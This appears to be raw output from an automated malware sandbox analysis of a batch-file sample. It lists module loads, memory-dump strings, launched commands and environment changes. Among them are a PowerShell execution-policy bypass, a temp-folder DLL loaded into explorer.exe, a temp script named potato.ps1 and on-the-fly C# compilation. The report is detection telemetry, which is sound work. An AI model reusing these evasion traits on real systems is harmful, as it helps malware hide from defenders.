"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffe5b610000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffe71320000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe71380000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffe4a070000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe688b0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe5df70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffe49f30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffe3cc70000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffe71380000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\IM6A2BMI.DLL" at base 7ffe5b5c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe4d420000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffe49ed0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffe3c300000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffe3bf90000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffe70fb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffe4fe30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe61710000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffe49df0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffe51930000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffe67970000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffe70470000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffe6f660000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe6ebf0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffe3beb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe71920000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffe704a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe73190000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffe73db0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffe3b1a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe66e40000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffe700d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe616d0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffe66e50000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe64580000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffe5b6c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\IM6A2BMI.DLL" at base 7ffe5df40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe5b620000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffe4fe10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffe4a0a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffe5b5c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffe49f50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe4d450000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffe49e70000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffe49d90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffe3be20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffe3b110000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffe4fab0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffe3aed0000 "powershell.exe" loaded module "ADVAPI32" at base 7ffe73190000 "explorer.exe" loaded module "SHELL32.DLL" at base 7ffe71be0000 "explorer.exe" loaded module "%WINDIR%\TEMP\VXSSL64.DLL" at base 7ffe4d190000 "explorer.exe" loaded module "MSCOREE.DLL" at base 7ffe51fe0000 "explorer.exe" loaded module "AMSI.DLL" at base 7ffe66e50000 "explorer.exe" loaded module "ADVAPI32.DLL" at base 7ffe73190000 "explorer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe70fb0000 "explorer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe70fb0000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe70fb0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffe51f30000 "explorer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffe70570000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffe42280000 "explorer.exe" loaded module "USER32.DLL" at base 7ffe73940000 "explorer.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffe70fb0000 "explorer.exe" loaded module "SHLWAPI.DLL" at base 7ffe71720000 "explorer.exe" loaded module "NTDLL" at base 7ffe74220000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffe73db0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffe40c80000 "explorer.exe" loaded module "OLE32.DLL" at base 7ffe732a0000 "explorer.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffe73db0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe6fa10000 "explorer.exe" loaded module "KERNEL32.DLL" at base 7ffe71920000 "explorer.exe" loaded module "OLEAUT32.DLL" at base 7ffe73840000 "explorer.exe" loaded module "WLDP.DLL" at base 7ffe6f660000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe688b0000 "explorer.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffe64580000 "explorer.exe" loaded module "KERNEL32" at base 7ffe71920000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\IM6A2BMI.DLL" at base 7ffe5df40000 "explorer.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffe70fb0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffe49f50000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffe40010000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ffe51330000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ffe4de00000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffe3f590000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffe4a0a0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffe3cc70000 "explorer.exe" loaded module "NTDLL.DLL" at base 7ffe74220000 "explorer.exe" loaded module "BCRYPT.DLL" at base 7ffe700d0000 "explorer.exe" loaded module "PSAPI.DLL" at base 7ffe74120000 "explorer.exe" loaded module "UXTHEME.DLL" at base 7ffe6ebf0000 "explorer.exe" loaded module "GDI32.DLL" at base 7ffe716f0000 "explorer.exe" loaded module "CRYPT32.DLL" at base 7ffe71380000 "explorer.exe" loaded module "NCRYPT" at base 7ffe700a0000 "explorer.exe" loaded module "NCRYPT.DLL" at base 7ffe700a0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTPROV.DLL" at base 7ffe69260000 "explorer.exe" loaded module "WS2_32.DLL" at base 7ffe718b0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffe6fe00000 "explorer.exe" loaded module "VERSION.DLL" at base 7ffe688b0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffe5b6c00003a:Ta8a,Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp")3b:T4a6,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00002076-00000BC0-1337496010] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00002076-00000C47-2355385162] Observed system executable string:"%WINDIR%\system32\cmd.exe /K "C:\d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e75cf58693.bin.bat"" [Source: 00000000-00002076-00000C47-2355385162] Observed system executable string:"%WINDIR%\System32\attrib.exe" [Source: 00000000-00002204-00000BC0-1338444831] Observed system executable string:"%WINDIR%\System32\reg.exe" [Source: 00000000-00002204-00000BC0-1338486974] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00002204-00000BC0-1343669817] Observed system executable string:"%WINDIR%\system32\attrib.exe" [Source: 00000000-00002204-00000C47-1736711110] Observed system executable string:"%WINDIR%\system32\reg.exe" [Source: 00000000-00002204-00000C47-1834840552] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\ki1ogrqa\ki1o" [Source: 00000000-00005344-00000C47-26531550484]3c:T1b7d,Process "cmd.exe" (UID: 00000000-00002204) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", FLOWER="1", League="745", OPPOSE="52", QIZKM="1", BRIDGE="1", QUESTION="1", Guarantee="1", Describe="1", horror="C:\", television="C:\", Soviet="1", severe="1"" Process "cmd.exe" (UID: 00000000-00002204) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00002204) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "attrib.exe" (UID: 00000000-00003168) was launched with new environment variables: "happy="C:\", SHARE="1", Print="92", scholarship="1", Player="27680", MOTOR="1", Emission="C:\", DEPICT="92", SHORT="1", LIVING="18970"" Process "attrib.exe" (UID: 00000000-00003168) was launched with modified environment variables: "League" Process "powershell.exe" (UID: 00000000-00003412) was launched with new environment variables: "Teenager="1", payment="C:\", Then="C:\", criticism="746", Species="1", Relative="7694", CARRY="1", Latin="1", troop="%TEMP%\potato.ps1", TEMPERATURE="1", RACIAL="1", knee="746"" Process "csc.exe" (UID: 00000000-00007768) was launched with new environment variables: "computername="DESKTOP-FVVF82A", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", emission="C:\", comspec="%WINDIR%\system32\cmd.exe", tmp="%LOCALAPPDATA%\Temp", latin="1", sslkeylogfile="%TEMP%\sslkey.txt", league="746", userprofile="C:\Users\%OSUSER%", then="C:\", qizkm="1", programfiles="C:\Program Files", processor_level="6", oppose="52", userdomain_roamingprofile="DESKTOP-FVVF82A", bridge="1", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", relative="7694", motor="1", depict="92", processor_architecture="AMD64", logonserver="%HOSTNAME%", guarantee="1", nvm_symlink="%PROGRAMFILES%\nodejs", temperature="1", share="1", teenager="1", question="1", programdata="C:\ProgramData", soviet="1", flower="1", nvm_home="%APPDATA%\nvm", species="1", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", describe="1", onedrive="%USERPROFILE%\OneDrive", systemdrive="C:", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", psexecutionpolicypreference="Bypass", homepath="\Users\%OSUSER%", sessionname="Console", processor_revision="4f00", localappdata="%USERPROFILE%\AppData\Local", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", number_of_processors="8", userdnsdomain="DESKTOP-FVVF82A", carry="1", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", racial="1", systemroot="C:\WINDOWS", userdomain="DESKTOP-FVVF82A", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", player="27680", temp="%LOCALAPPDATA%\Temp", living="18970", os="Windows_NT", print="92", short="1", prompt="$P$G", _clrrestrictsecattributes="1", appdata="%USERPROFILE%\AppData\Roaming", username="%OSUSER%"" Process "csc.exe" (UID: 00000000-00007768) was launched with missing environment variables: "Teenager, NVM_SYMLINK, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, SHARE, SystemDrive, Print, USERNAME, Then, ProgramFiles(x86), League, Relative, PATHEXT, HOMEPATH, CARRY, PROCESSOR_IDENTIFIER, MOTOR, ProgramFiles, PUBLIC, PROMPT, OneDrive, APPDATA, Guarantee, Describe, Path, RACIAL, COMPUTERNAME, ComSpec, LIVING, HOMEDRIVE, NUMBER_OF_PROCESSORS, USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, PROCESSOR_ARCHITECTURE, PSModulePath, USERDNSDOMAIN, FLOWER, Species, CURL_CA_BUNDLE, Player, OPPOSE, ProgramData, ProgramW6432, QIZKM, Latin, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, Emission, BRIDGE, QUESTION, DEPICT, TEMPERATURE, CommonProgramFiles, OS, Soviet, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, SHORT, SystemRoot, TEMP, USERPROFILE, TMP, CommonProgramFiles(x86)" Process "explorer.exe" (UID: 00000000-00005308) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", SSLKEYLOGFILE="%TEMP%\sslkey.txt", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", SystemDrive="C:", USERNAME="%OSUSER%", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", HOMEPATH="\Users\%OSUSER%", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", Path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%NVM_HOME%;%NVM_SYMLINK%;%APPDATA%\nvm;C:\Program Files\nodejs", COMPUTERNAME="DESKTOP-FVVF82A", ComSpec="%WINDIR%\system32\cmd.exe", HOMEDRIVE="C:", NUMBER_OF_PROCESSORS="2", USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", PROCESSOR_LEVEL="6", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", USERDNSDOMAIN="DESKTOP-FVVF82A", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", LOCALAPPDATA="%USERPROFILE%\AppData\Local", USERDOMAIN="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", CommonProgramFiles="%PROGRAMFILES%\Common Files", OS="Windows_NT", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", USERPROFILE="C:\Users\%OSUSER%", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files"" Process "explorer.exe" (UID: 00000000-00005308) was launched with missing environment variables: "computername, happy, pathext, path, emission, comspec, tmp, payment, latin, sslkeylogfile, league, userprofile, then, qizkm, programfiles, processor_level, oppose, userdomain_roamingprofile, bridge, commonprogramfiles(x86), relative, motor, depict, processor_architecture, logonserver, guarantee, nvm_symlink, temperature, share, teenager, horror, question, television, programdata, soviet, flower, knee, nvm_home, species, programfiles(x86), psmodulepath, severe, describe, onedrive, systemdrive, programw6432, commonprogramfiles, homedrive, psexecutionpolicypreference, homepath, sessionname, scholarship, processor_revision, criticism, localappdata, curl_ca_bundle, number_of_processors, userdnsdomain, carry, processor_identifier, troop, racial, systemroot, userdomain, commonprogramw6432, allusersprofile, public, player, temp, living, os, print, short, prompt, _clrrestrictsecattributes, appdata, username"3d:T13d9,Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\ki1ogrqa\ki1ogrqa.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\ki1ogrqa\ki1ogrqa.0.cs"Microsoft (R) Visual C# Compiler version 4.8.3761.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: ki1ogrqa.out] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\ki1ogrqa\ki1ogrqa.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\ki1ogrqa\ki1ogrqa.0.cs"" [Source: ki1ogrqa.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00003412-00000C2B-1344650537] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00003412-00000C2B-1344983083] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00003412-00000C2B-1345080314] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003412-00000C2B-1345159172] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00003412-00000C2B-1345310279] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00003412-00000C2B-1345363249] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00003412-00000C2B-1345418570] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00003412-00000C2B-1345484082] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00003412-00000C2B-1345552960] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00003412-00000C2B-1345596254] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00003412-00000C2B-1345667203] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00003412-00000C2B-1345921289] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00003412-00000C2B-1346028091] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00003412-00000C2B-1346352773] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003412-00000C2B-1346379221] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003412-00000C2B-1346796617] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00003412-00000C2B-1346833405] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 